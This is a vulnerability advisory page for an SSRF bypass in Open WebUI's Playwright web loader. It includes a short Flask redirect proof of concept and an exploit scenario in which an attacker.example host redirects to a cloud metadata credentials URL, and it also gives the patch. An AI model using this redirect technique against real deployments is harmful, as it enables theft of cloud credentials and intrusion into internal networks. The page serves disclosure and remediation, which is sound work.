Open WebUI CVE-2026-54018
HIGHSeverity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Network-reachable feature requires a low-priv authenticated user (PR:L), no UI; SSRF crosses scope to internal services (S:C) with high confidentiality impact (IMDS creds) and low integrity from possible internal write requests.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
The SafePlaywrightURLLoader implements a validate_url function to prevent SSRF attacks by checking the IP address of the user-provided URL. However, this validation is performed only on the initial URL.
Since Playwright automatically follows HTTP redirects (301/302) by default, an attacker can bypass the validation by providing a safe URL that redirects to a restricted internal network address (e.g., localhost, Docker container network, or Cloud Metadata).
This allows the application to access internal services despite ENABLE_RAG_LOCAL_WEB_FETCH being set to False
Details
Root Cause
The application validates the initial user-provided URL using self._safe_process_url_sync(url). This correctly resolves the domain and ensures it does not point to a private IP.
The application then calls page.goto(url). By default, Playwright automatically follows HTTP redirects (301/302).
The Bypass: If the destination server returns a redirect to an internal IP (e.g., 127.0.0.1 or 169.254.169.254), the browser follows it without re-validating the new destination. The initial validation is bypassed because it only checked the first URL, not the entire redirect chain.
for url in self.urls:
try:
self._safe_process_url_sync(url)
page = browser.new_page()
response = page.goto(url, timeout=self.playwright_timeout) #this
if response is None:
raise ValueError(...)
text = self.evaluator.evaluate(page, browser, response)PoC
(This PoC uses Docker to easily demonstrate internal network access (accessing a container by service name). However, the vulnerability is NOT tied to Docker.)
- Ensure the Open WebUI is configured with the following environment variables. The vulnerability is specific to the Playwright engine.
- ENABLE_RAG_LOCAL_WEB_FETCH=False (Default)
- RAG_WEB_LOADER_ENGINE=playwright
- Setup and run attack server
- In Open WebUI, use the "Web Search" or "URL Loader" feature.
- Input the attacker's URL (e.g., http://attacker-ip/).
# attack_server.py
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/')
def attack():
# Redirect to the Open WebUI container's internal port
return redirect("http://open-webui:8080/api/version", code=302)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)<img width="580" height="192" alt="image" src="https://github.com/user-attachments/assets/4600dbb5-a81d-4e58-b787-afe04fe59d6e" />
The Playwright browser follows the redirect to the internal address (http://open-webui:8080/api/version)
Impact
+ Cloud Environments: Access to Instance Metadata Service (IMDS) to steal cloud credentials. + Intranet/On-Premise: Scanning internal networks and accessing unauthenticated internal tools. + Container Environments: Accessing other containers within the same network.
Recommended Patch
implement a request interceptor using Playwright's page.route. This ensures all requests, including redirects, are validated before connection.
apply the following logic to both lazy_load and alazy_load methods:
# async context
async def intercept_route(route):
try:
await run_in_threadpool(validate_url, route.request.url)
await route.continue_()
except Exception:
await route.abort()
await page.route("**/*", intercept_route)
response = await page.goto(url, timeout=self.playwright_timeout)Articles & Coverage 1
AnalysisAI
SSRF protection bypass in Open WebUI's SafePlaywrightURLLoader (versions <= 0.9.5) allows authenticated users to access internal network resources by supplying an externally-hosted URL that returns an HTTP 301/302 redirect to a private address. Because Playwright's page.goto() automatically follows redirects without re-validating the destination, attackers can reach localhost, container-network peers, or cloud metadata endpoints (169.254.169.254) even when ENABLE_RAG_LOCAL_WEB_FETCH=False. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Requires (1) an Open WebUI deployment at version <= 0.9.5 with RAG_WEB_LOADER_ENGINE=playwright explicitly configured - the default loader is not affected, (2) a low-privileged authenticated account (PR:L) able to submit a URL through the Web Search or URL Loader RAG feature, (3) outbound HTTP egress from the Open WebUI host so the headless browser can reach the attacker's redirector, and (4) at least one reachable internal target of value (cloud IMDS endpoint at 169.254.169.254, a co-located Docker/Kubernetes service, or an unauthenticated intranet admin panel). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The published CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N (7.7 High) aligns with the technical facts: exploitation is network-reachable, low-complexity, and requires only a low-privileged authenticated Open WebUI account that can submit a URL to the Web Search / URL Loader feature; scope changes because the SSRF reaches services outside Open WebUI's security authority, and confidentiality impact is High due to potential theft of cloud IMDS credentials. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with any logged-in Open WebUI account stands up a public web server (e.g., http://attacker.example/) that returns HTTP 302 redirects to http://169.254.169.254/latest/meta-data/iam/security-credentials/ or to an internal container such as http://open-webui:8080/api/version. They submit that URL via the Web Search or URL Loader feature; Playwright validates only the attacker domain, then follows the redirect and fetches the internal resource, exposing the response body (and any IAM credentials) back through the RAG indexing/output flow. … |
| Remediation | Vendor-released patch: upgrade open-webui to 0.9.6 or later, which adds a Playwright page.route('**/*', ...) interceptor that re-runs validate_url for every request including redirects (see https://github.com/open-webui/open-webui/security/advisories/GHSA-jrfp-m64g-pcwv). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
24 HOURS: Inventory all Open WebUI 0.9.5 and earlier deployments; document user accounts with RAG/web-fetch permissions; test whether internal metadata service (169.254.169.254) is reachable from Open WebUI containers in your environment. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More from same product – last 7 days
Authentication bypass in StarTree mcp-pinot versions 3.0.1 and earlier exposes the Model Context Protocol HTTP server on
Unauthenticated remote code execution in Crawl4AI versions <= 0.8.6 allows attackers to escape the AST-based sandbox in
InHand Networks IR912 V1.0.0.r20042 and IR915 V1.0.0.r20042 (including earlier versions) were discovered to contain a co
InHand Networks IR912 V1.0.0.r20042 and IR915 V1.0.0.r20042 (including earlier versions) were discovered to contain a co
Remote code execution in Langflow versions through 1.9.1 allows unauthenticated attackers to execute arbitrary Python co
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-jrfp-m64g-pcwv